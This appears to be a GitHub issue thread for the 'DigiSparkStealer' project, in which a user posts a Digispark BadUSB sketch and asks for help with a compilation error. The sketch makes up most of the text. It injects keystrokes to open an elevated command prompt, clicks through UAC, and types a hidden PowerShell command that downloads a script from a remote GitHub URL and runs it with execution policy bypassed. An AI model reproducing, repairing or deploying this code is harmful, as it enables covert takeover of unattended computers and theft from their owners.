Open loner99 opened 1 year ago
same
same
Unfortunately, i dont have this plate and cannot help u with debugging code. I haven't maintained this code for 5 years
void typeKeyFast(char key){ DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(100); DigiKeyboard.sendKeyStroke(0, key); }
void startCMD(){ DigiKeyboard.delay(450); DigiKeyboard.sendKeyStroke(0, KEY_LEFT_CTRL); DigiKeyboard.delay(100); DigiKeyboard.sendKeyStroke(0, KEY_ESC); DigiKeyboard.delay(100); DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(300); DigiKeyboard.println("cmd"); DigiKeyboard.delay(140); DigiKeyboard.sendKeyStroke(0, KEY_LEFT_CTRL); DigiKeyboard.delay(140); DigiKeyboard.sendKeyStroke(0, KEY_LEFT_SHIFT); DigiKeyboard.delay(10); typeKeyFast(KEY_RETURN); DigiKeyboard.delay(1500); }
void bypassUAC(){ typeKeyFast(KEY_TAB); typeKeyFast(KEY_TAB); for (int i = 0; i < 70; i++){ typeKeyFast(KEY_BACKSPACE); } typeKeyFast(KEY_RETURN); DigiKeyboard.delay(500); }
void printCommand(){ DigiKeyboard.println("PowerShell.exe -windowstyle hidden Set-ExecutionPolicy Bypass -Force (new-object System.Net.WebClient).DownloadFile('https://codeload.github.com/danile371/legal/zip/refs/heads/main?token=BEH7SDLJ7F2ONAMVQ3O4KADGBQX7O', 'b.ps1'); Set-ExecutionPolicy Unrestricted; .\b.ps1"); typeKeyFast(KEY_RETURN); }
void setup() { DigiKeyboard.delay(5000); // Delay para dar tempo de conectar o dispositivo startCMD(); bypassUAC(); printCommand(); }
void loop() { int led2 = 13; digitalWrite(led2, LOW); delay(120); digitalWrite(led2, HIGH); delay(120); }
When I try to upload the sketch, i get this message:
In file included from C:\Users\dubai\Desktop\New folder (2)\New folder\DigiSparkStealer-master\arduino_source\sketch\sketch.ino:1:0: C:\Users\dubai\AppData\Local\Arduino15\libraries\Keyboard\src/Keyboard.h:25:17: fatal error: HID.h: No such file or directory
include "HID.h"
compilation terminated.
exit status 1
Compilation error: exit status 1